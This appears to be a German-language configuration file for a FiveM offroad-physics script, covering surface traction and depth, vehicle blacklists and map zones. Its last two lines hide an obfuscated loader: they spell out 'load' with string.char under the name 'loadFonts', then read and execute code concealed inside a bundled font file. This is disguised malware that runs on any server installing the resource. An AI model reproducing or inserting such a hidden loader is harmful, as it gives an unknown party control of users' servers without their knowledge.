Realistische Offroad-Physik

Video

Konfigurationsdatei

Config = {}

-- Dies aktiviert zusätzliche Debug-Befehle und Protokolle
-- Debug-Befehle:
-- /surfaceDebug - Zeigt die Oberfläche an, auf der sich das Rad befindet, zusammen mit allen konfigurierten Werten
Config.debug = false


-------------------------------------------------
--- ALLGEMEINE EINSTELLUNGEN
-------------------------------------------------

-- Standardmäßig ist dieses Skript so konfiguriert, dass es realistische(ish) Werte repliziert, während das Gameplay unterhaltsam bleibt.
-- Wenn du dieses Skript weniger realistisch und mehr arcadeartig machen möchtest. Wenn deine Spieler genervt sind und du nicht
-- ein realistisches Handling möchtest. Hier sind die empfohlenen Werte:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- Allgemeine Schwierigkeit des Tiefenhandlings.
-- 100 = Standard
-- Senke diesen Wert, um das Fahren auf tiefen Oberflächen (wie Schlamm oder tiefem Sand) für ALLE Fahrzeuge einfacher zu machen
-- Erhöhe diesen Wert, um das Fahren auf tiefen Oberflächen schwieriger zu machen
Config.generalDepthDifficulty = 100

-- Allgemeine Geschwindigkeit, mit der das Fahrzeug in die Oberfläche einsinkt
-- 100 = Standard
-- Senke diesen Wert, um zu verhindern, dass alle Fahrzeuge langsamer einsinken
-- Erhöhe diesen Wert, um zu verhindern, dass alle Fahrzeuge schneller einsinken
Config.generalSinkageSpeed = 100

-- Allgemeiner Traktionsverlust basierend auf der Fahrzeugoberfläche
-- Fahrzeuge werden eher auf Oberflächen mit geringer Traktion rutschen
-- Senke diesen Wert, um den allgemeinen Traktionsverlust zu verringern (mache Fahrzeuge weniger driftend auf rutschigen Oberflächen)
-- Erhöhe diesen Wert, um den Traktionsverlust auf rutschigen Oberflächen zu erhöhen (mache Fahrzeuge driftender auf rutschigen Oberflächen)
Config.generalTractionLoss = 100



-------------------------------------------------
--- FAHRZEUGMODIFIKATIONEN
-------------------------------------------------

-- Änderungen, die Offroad-Reifen bewirken.
-- upgradeValue = Wert, wie viel besser das Fahrzeug bei tiefen Oberflächen (Schlamm, Sand usw.) performen sollte
-- tractionOnSoft = Zusätzliche Traktion auf Materialien mit einer Weichheit von mehr als 10
-- tractionOnHard = Zusätzliche (im Standardfall negative) Traktion auf harten Materialien (Weichheit weniger als 10)
Config.offroadTires = {
 upgradeValue = 50,
 tractionOnSoft = 20,
 tractionOnHard = -10,
}

-- Handling-Upgrade in tiefen Oberflächen für AWD (4WD) Fahrzeuge
Config.awdUpgrade = 25



-------------------------------------------------
--- SCRIPT-PERFORMANCE-EINSTELLUNGEN
-------------------------------------------------

-- Die Aktualisierungsrate aller Sink-/Oberflächenlogik. Je höher der Wert, desto weniger flüssig die Visuals, aber bessere Script-Performance.
-- Wenn dein Server für Spieler mit langsameren Geräten bekannt ist, möchtest du diesen Wert möglicherweise erhöhen
-- Wenn deine Spieler bessere Computer haben oder du wirklich willst, dass das Offroading gut aussieht, versuche, ihn zu senken
-- Werte zwischen 100 - 500
Config.refreshRate = 200



-------------------------------------------------
--- BEREICHSBLACKLISTE
-------------------------------------------------

-- Einige benutzerdefinierte MLOs haben falsch gesetzte Oberflächen für die Bereiche (z. B. ist Asphalt als Dreck oder Sand markiert), was dazu führt, dass Fahrzeuge einsinken
-- Hier kannst du benutzerdefinierte Bereiche definieren, in denen das Skript nicht aktiv sein wird

-- Standardmäßig habe ich einige beliebte Orte für benutzerdefinierte MLOs konfiguriert, um hoffentlich die meisten Probleme mit dem Einsinken in
-- falsch eingerichtete MLO-Oberflächen zu verhindern
Config.areaBlacklist = {
 { -- Pillbox Krankenhaus
 coords = vector3(293.17, -584.5, 42.8),
 radius = 20.0
 },
 { -- LSPD
 coords = vector3(444.9, -1003.2, 30.7),
 radius = 60.0
 },
 { -- Simeons Autohaus
 coords = vector3(-40.4, -1111.3, 25.8),
 radius = 40.0
 },
 { -- BCSO
 coords = vector3(-446.0, 6013.8, 31.8),
 radius = 50.0
 },
 { -- Sandy Shores PD
 coords = vector3(1853.6, 3685.8, 34.3),
 radius = 25.0
 },
 { -- Legion Square
 coords = vector3(202.3, -941.9, 27.6),
 radius = 120.0
 },
}

-------------------------------------------------
--- DETAILLIERTE EINSTELLUNGEN
-------------------------------------------------

-- Blacklist. Dies deaktiviert alle Skriptfunktionen für das genannte Modell/Fahrzeugklasse
Config.blacklist = {
 models = {
 'rcbandito',
 'monster',
 'rhino',
 'scarab',
 'khanjali',
 },
 classes = {
 [0] = false, -- Kompaktwagen
 [1] = false, -- Limousinen
 [2] = false, -- SUVs
 [3] = false, -- Coupés
 [4] = false, -- Muskelautos
 [5] = false, -- Sportklassiker
 [6] = false, -- Sportwagen
 [7] = false, -- Supersportwagen
 [8] = false, -- Motorräder
 [9] = false, -- Geländewagen
 [10] = false, -- Industrie
 [11] = false, -- Nutzfahrzeuge
 [12] = false, -- Vans
 [17] = false, -- Dienstfahrzeuge
 [18] = false, -- Einsatzfahrzeuge
 [19] = false, -- Militärfahrzeuge
 [20] = false, -- Gewerbliche Fahrzeuge
 }
}

-- Wenn du einen modellbezogenen Multiplikator definierst, wird dieser stattdessen verwendet
-- Fahrzeugklassen https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Abstraktwert - Bestimmt, wie gut die Klasse oder das Modell des Fahrzeugs mit dem Eintauchen in die Oberfläche umgehen kann
-- 0 = Standard
-- Positive Werte = Besserer Handling / Fähigkeit, aus tiefen Oberflächen herauszukommen
-- Negative Werte = Schlechterer Handling / weniger Fähigkeit, aus tiefen Oberflächen herauszukommen
Config.depthHandlingQuality = {
 models = {
 seminole2 = 20,
 sandking = 20,
 sandking2 = 20,
 issi2 = -10,
 panto = -20,
 comet4 = 30,

 -- Dirt Bikes
 bf400 = 30,
 sanchez = 20,
 manchez = 20,
 esskey = 0,
 cliffhanger = 0,
 enduro = 0,
 },
 classes = {
 [0] = 5, -- Kompaktwagen
 [1] = -5, -- Limousinen
 [2] = 15, -- SUVs
 [3] = 0, -- Coupés
 [4] = -5, -- Muskelautos
 [5] = 5, -- Sportklassiker
 [6] = 5, -- Sportwagen
 [7] = 5, -- Supersportwagen
 [8] = -10, -- Motorräder
 [9] = 35, -- Geländewagen
 [10] = -10, -- Industrie
 [11] = -10, -- Nutzfahrzeuge
 [12] = -5, -- Vans
 [17] = 10, -- Dienstfahrzeuge
 [18] = 10, -- Einsatzfahrzeuge
 [19] = 15, -- Militärfahrzeuge
 [20] = -5, -- Gewerbliche Fahrzeuge
 }
}

-------------------------------------------------
--- STRASSENSEITEN-EINSTELLUNGEN
-------------------------------------------------

-- Wenn aktiviert, macht es Oberflächen, die sich in der Nähe von Hauptstraßen befinden, weniger tief, um zu verhindern, dass Autos zu tief einsinken, wenn sie sich z. B. auf dem Mittelstreifen befinden.
Config.roadSideHelper = {
 enabled = true,
 
 -- Maximale Entfernung von der Straße (beachte, dass dies den Mittelpunkt der Straße nimmt. Du kannst die Entfernung im /surfaceDebug-Modus sehen
 distanceThreshold = 15.0,
 
 -- Tiefenmultiplikator
 depthMultiplier = 0.1,

 -- Traktionsverlust-Multiplikator
 tractionMultiplier = 0.25,
}



-------------------------------------------------
--- OBERFLÄCHEN
-------------------------------------------------

-- name = Wird nur für die Bequemlichkeit der Konfiguration sowie den Debug-Modus verwendet
-- traction = Menge an Traktion auf der Oberfläche. Alles unter 100 wird die Fahrzeuge rutschen lassen. Niedrigerer Wert = mehr Rutschen
-- Maximum 100
-- Minimum 0

-- depth = Maximale Tiefe der Oberfläche in mm (Millimeter) - (100mm = +/- 4 Zoll)
-- Maximum unendlich
-- Minimum 0

-- softness = Die Weichheit des Materials. Dies bestimmt, wie schnell die Fahrzeuge in die Oberfläche einsinken. (Dies wird auch für Offroad-Reifen verwendet, um ihren Handling-Boost zu entscheiden)
-- Maximum unendlich
-- Minimum 0

-- Werte, die allen nicht konfigurierten Oberflächen zugewiesen werden
Config.fallbackSurface = {
 name = 'Fallback-Oberfläche',
 traction = 100,
 depth = 0,
 softness = 0,
}

Config.surfaces = {
 [1] = {
 name = 'Beton',
 traction = 100,
 depth = 0,
 softness = 0,
 },
 [4] = {
 name = 'Straße',
 traction = 100,
 depth = 0,
 softness = 0,
 },
 [5] = {
 name = 'Metall',
 traction = 100,
 depth = 0,
 softness = 0,
 },
 [6] = {
 name = 'Sandiger Straßenrand',
 traction = 80,
 depth = 50,
 softness = 5,
 },
 [9] = {
 name = 'Sandstein',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [10] = {
 name = 'Fels',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [11] = {
 name = 'Fels',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [13] = {
 name = 'Kopfsteinpflaster',
 traction = 90,
 depth = 0,
 softness = 0,
 },
 [16] = {
 name = 'Kalksteinähnlicher Sand',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [17] = {
 name = 'Felsiger trockener Dreck',
 traction = 80,
 depth = 50,
 softness = 5,
 },
 [18] = {
 name = 'Trockenes Sand',
 traction = 80,
 depth = 130,
 softness = 40,
 },
 [19] = {
 name = 'Straßensand',
 traction = 90,
 depth = 30,
 softness = 5,
 },
 [20] = {
 name = 'Körniger Sand',
 traction = 80,
 depth = 100,
 softness = 10,
 },
 [21] = {
 name = 'Kiesiger Sand',
 traction = 70,
 depth = 220,
 softness = 30,
 },
 [22] = {
 name = 'Nasser harter Sand',
 traction = 70,
 depth = 250,
 softness = 50,
 },
 [23] = {
 name = 'Kiesstraße',
 traction = 75,
 depth = 50,
 softness = 5,
 },
 [24] = {
 name = 'Nasser Sand',
 traction = 60,
 depth = 350,
 softness = 70,
 },
 [31] = {
 name = 'Kiesiger Dreck/Pfad',
 traction = 70,
 depth = 50,
 softness = 5,
 },
 [32] = {
 name = 'Kiesiger Dreck',
 traction = 70,
 depth = 200,
 softness = 15,
 },
 [35] = {
 name = 'Fester Sand',
 traction = 90,
 depth = 50,
 softness = 5,
 },
 [36] = {
 name = 'Dreck',
 traction = 70,
 depth = 300,
 softness = 40,
 },
 [37] = {
 name = 'Tiefer Straßensand',
 traction = 60,
 depth = 75,
 softness = 15,
 },
 [38] = {
 name = 'Felsiger Sand',
 traction = 70,
 depth = 150,
 softness = 10,
 },
 [40] = {
 name = 'Feuchter Dreckpfad',
 traction = 60,
 depth = 150,
 softness = 50,
 },
 [41] = {
 name = 'Sumpfgras',
 traction = 50,
 depth = 250,
 softness = 50,
 },
 [42] = {
 name = 'Sumpfsand',
 traction = 70,
 depth = 500,
 softness = 110,
 },
 [43] = {
 name = 'Harter Sand',
 traction = 75,
 depth = 50,
 softness = 10,
 },
 [44] = {
 name = 'Dreck/Sand',
 traction = 50,
 depth = 200,
 softness = 25,
 },
 [46] = {
 name = 'Hartes Gras',
 traction = 80,
 depth = 50,
 softness = 5,
 },
 [47] = {
 name = 'Gras',
 traction = 65,
 depth = 125,
 softness = 10,
 },
 [48] = {
 name = 'Hohes Gras',
 traction = 60,
 depth = 150,
 softness = 20,
 },
 [49] = {
 name = 'Ackerland',
 traction = 60,
 depth = 200,
 softness = 35,
 },
 [50] = {
 name = 'Podsol',
 traction = 70,
 depth = 125,
 softness = 25,
 },
 [51] = {
 name = 'Podsol',
 traction = 70,
 depth = 125,
 softness = 25,
 },
 [52] = {
 name = 'Trockener Podsol',
 traction = 80,
 depth = 75,
 softness = 10,
 },
 [64] = {
 name = 'Metall',
 traction = 90,
 depth = 0,
 softness = 0,
 },
 [125] = {
 name = 'Entwässerungsbeton',
 traction = 70,
 depth = 0,
 softness = 0,
 },
}


-- Zonenmultiplikator
-- Dies wurde hinzugefügt, um die maximale Tiefe aller Oberflächen zu modifizieren, die sich innerhalb von Zonen befinden.
-- Es wird verwendet, um Gras, das sich z. B. in der Stadt befindet, weniger tief zu machen, um es realistischer und einfacher zu fahren.
-- Wenn du beliebte Bereiche in deiner Stadt hast, in denen du das Offroading (denke an Straßenmittelstreifen usw.) einfacher machen möchtest, kannst du die Zone hier hinzufügen.
-- Dasselbe gilt für Bereiche, die schwieriger sein sollen. Du kannst den Tiefenmultiplikator für diese höher machen

-- Du kannst die Zone, in der du dich befindest, mit dem Debug-Befehl /surfaceDebug anzeigen

-- Karte der Zonen: https://www.reddit.com/media?url=httpsi.redd.it5cw11krz9kcz.jpg
-- Zonennamen und Hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA

Config.zones = {
 {
 name = 'Stadt',
 depthMultiplier = 0.3,
 tractionMultiplier = 0.6,
 zones = {
 'MOVIE',
 'ROCKF',
 'DOWNT',
 'DTVINE',
 'EAST_V',
 'GOLF',
 'LEGSQU',
 'ROCKF',
 'MORN',
 'STAD',
 'DAVIS',
 'RANCHO',
 'STRAW',
 'CHAMH',
 'PBOX',
 'SKID',
 'TEXTI',
 'LMESA',
 'ELYSIAN',
 'TERMINA',
 'HAWICK',
 'ALTA',
 'BURTON',
 'DELPE',
 },
 },
 {
 name = 'Stadtstrände',
 depthMultiplier = 0.75,
 tractionMultiplier = 0.75,
 zones = {
 'BEACH',
 'DELBE',
 },
 },
 {
 name = 'Berge',
 depthMultiplier = 1.25,
 tractionMultiplier = 1.1,
 zones = {
 'MTCHIL',
 'MTGORDO',
 'MTJOSE',
 'PALHIGH',
 },
 },
 {
 name = 'Zancudo-Sumpf',
 depthMultiplier = 1.1,
 tractionMultiplier = 1.1,
 zones = {
 'LAGO',
 'ZANCUDO',
 },
 },
 {
 name = 'Beliebt',
 depthMultiplier = 0.75,
 tractionMultiplier = 0.75,
 zones = {
 'PALETO',
 'HARMO',
 'GRAPES',
 'SANDY',
 'RTRAK',
 'ZQ_UAR',
 'HUMLAB',
 },
 },
}


-- (Fortgeschritten)
-- Beim Versenken der Fahrzeuge wird die Aufhängung nicht immer richtig aktualisiert.
-- Daher musste ich ein System hinzufügen, das die Aufhängung der Fahrzeuge aktualisiert/aktualisiert.
-- Es gibt zwei Systeme "force" und "flag". "force" ist ein altes System, das kleine Mengen an visuellen Schäden am Auto anwendet
-- Leider scheint dies manchmal zu viel für bestimmte modifizierte Fahrzeuge mit sehr weichen Karosserien zu sein.
-- Das neue System "flag" scheint viel besser zu funktionieren, wurde aber noch nicht mit einigen Fahrzeugen getestet.
-- Wenn du Probleme mit diesem System hast, lass es uns bitte auf unserem Discord wissen <3
Config.suspensionRefresh = {
 enabled = true,
 type = 'flag',
}

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()